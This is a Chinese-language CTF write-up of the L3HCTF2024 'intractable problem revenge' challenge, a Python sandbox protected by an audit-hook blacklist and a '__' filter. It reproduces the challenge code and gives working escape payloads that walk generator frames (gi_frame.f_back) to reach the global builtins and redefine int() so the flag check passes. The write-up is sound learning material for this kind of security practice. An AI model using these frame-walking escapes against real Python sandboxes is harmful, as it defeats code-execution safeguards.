L3HCTF2024-intractable problem revenge复现-By.Starven

发布于 2024-06-05  72 次阅读


前言

最近接触python的漏洞挺多的,在刷相关比赛题和总结,国赛的栈帧逃逸的题可以溯源到L3HCTF2024的这道题,去拉docker来复现一下

题目描述

image.png

分析

下载附件得到如下的目录结构

image.png

开题如下

image.png

oj.py---沙箱代码层面实现:添加hook函数限制审计事件的发生

flag的获取条件是if(p>1e5 and q>1e5 and p*q==int(xxxx)
import sys  
import os  
  
codes='''  
<<codehere>>  
'''  
  
try:  
    codes.encode("ascii")  
except UnicodeEncodeError:  
    exit(0)  
  
if "__" in codes:  
    exit(0)  
  
codes+="\nres=factorization(c)"  
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}  
res=set()  
  
def blackFunc(oldexit):  
    def func(event, args):  
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]  
        for i in blackList:  
            if i in (event + "".join(str(s) for s in args)).lower():  
                print(i)  
                oldexit(0)  
    return func  
  
code = compile(codes, "<judgecode>", "exec")#编译代码
sys.addaudithook(blackFunc(os._exit))#调用了sys.addaudithook函数,将blackFunc(os._exit)注册为审计钩子
exec(code,{"__builtins__": None},locals)#执行编译后的代码
  
p=int(locals["res"][0])  
q=int(locals["res"][1])  
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):  
    print("Correct!",end="")  
else:  
    print("Wrong!",end="")

web.py

import flask  
import time  
import random  
import os  
import subprocess  
  
codes=""  
with open("oj.py","r") as f:  
    codes=f.read()  
flag=""  
with open("/flag","r") as f:  
    flag=f.read()  
app = flask.Flask(__name__)  
  
@app.route('/')  
def index():  
    return flask.render_template('ui.html')  
  
@app.route('/judge', methods=['POST'])  
def judge():  
    code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")  
    correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))#生成随机的20长度的字符串,从a-z里面组成
    wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))  
    print(correctstr,wrongstr)  
    code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)  
  
    filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))  
    with open(filename + '.py', 'w') as f:  
        f.write(code)  
  
    try:  
        result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")  
        os.remove(filename + '.py')  
        print(result)  
        if(result.endswith(correctstr+"!")):  
            return flask.jsonify("Correct!flag is "+flag)  
        else:  
            return flask.jsonify("Wrong!")  
    except:  
        os.remove(filename + '.py')  
        return flask.jsonify("Timeout!")  
  
if __name__ == '__main__':  
    app.run("0.0.0.0")

代码审计可知,web.py会将json的code内容写入py文件并执行,同时code内容是oj.py,其中的<<codehere>>为自定义控制

思路收集

  • 定义一个新类,控制int()的返回值

此题由于内置命名空间被设置成了None,__也被过滤

  • 重写int函数,达到控制返回值的目的,而重写内置函数就需要逃逸到全局命名空间,也就是说要用到生成器

payload

需要知道解包操作符的作用(payload from JBN)

factorization = lambda x:("1", "2")
def int(n):
    if n == "1":
        return 1e6
    elif n == "2":
        return 1e6
    else:
        return 1e12
c = [a:=[],a.append([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
d = c[-1][0]["_""_builtins_""_"]
d.setattr(d, "int", int)

换一种熟悉的写法

改写的第一种payload

def factorization(n):  
    def b():  
        yield c.gi_frame.f_back.f_back.f_back  
    c = b()  
    for d in c:
        frame = d  
    frame.f_globals["_"+"_builtins_"+"_"].setattr(frame.f_globals["_"+"_builtins_"+"_"],'int',lambda x:123456 if x==123456 else 15241383936)  
    return (123456,123456)

注意

用frame = next(c) 和 frame = [x for x in c][0]会wrong!

frame = next(c) 和 for d in c:\n  frame = d有相同的栈帧对象层

frame = next(c)行不通的原因暂时没明白,改写了列表推导式的写法也就是

frame = [x for x in c][0]这种方法再f_back一次即可,如下

改写的第二种payload

def factorization(n):  
    def b():  
        yield c.gi_frame.f_back.f_back.f_back.f_back  
    c = b()  
    frame = [x for x in c][0]  
    frame.f_globals["_"+"_builtins_"+"_"].setattr(frame.f_globals["_"+"_builtins_"+"_"],'int',lambda x:123456 if x==123456 else 15241383936)  
    print(frame.f_back)  
    return (123456,123456)

最终传参:

{"code"  :    "def factorization(n):\n    def b():\n         yield c.gi_frame.f_back.f_back.f_back\n    c = b()\n    for d in c:\n        frame = d\n    frame.f_globals['_'+'_builtins_'+'_'].setattr(frame.f_globals['_'+'_builtins_'+'_'],'int',lambda x:123456 if x==123456 else 15241383936)\n    return (123456,123456)\n"}
image.png

or

{"code":"def factorization(n):\n    def b():\n         yield c.gi_frame.f_back.f_back.f_back.f_back\n    c = b()\n    frame = [x for x in c][0]\n    frame.f_globals['_'+'_builtins_'+'_'].setattr(frame.f_globals['_'+'_builtins_'+'_'],'int',lambda x:123456 if x==123456 else 15241383936)\n    return (123456,123456)\n"}
image.png

reference

https://blog.wm-team.cn/index.php/archives/71/#intractable+problem

总结

获取栈帧对象的几种方法

以下三种情况等效

import inspect  
  
def waff():  
    g = (inspect.currentframe().f_back for _ in range(1))  
    frame = [a for a in g][0]  
    print(frame.f_back.f_back.f_back)  
  
waff()
import inspect  
  
  
def waff():  
    g = (inspect.currentframe().f_back for _ in range(1))  
    for i in g:  
        frame = i  
    print(frame.f_back.f_back)  
  
waff()
import inspect  
  
  
def waff():  
    g = (inspect.currentframe().f_back for _ in range(1))  
    frame = next(g)  
    print(frame.f_back.f_back)  
  
waff()

很明显了,总结过来就一句话

frame = next(c) 和 for d in c:\n  frame = d有相同的栈帧对象层

列表推导式会多一层

大一在读菜鸡ctfer的成长记录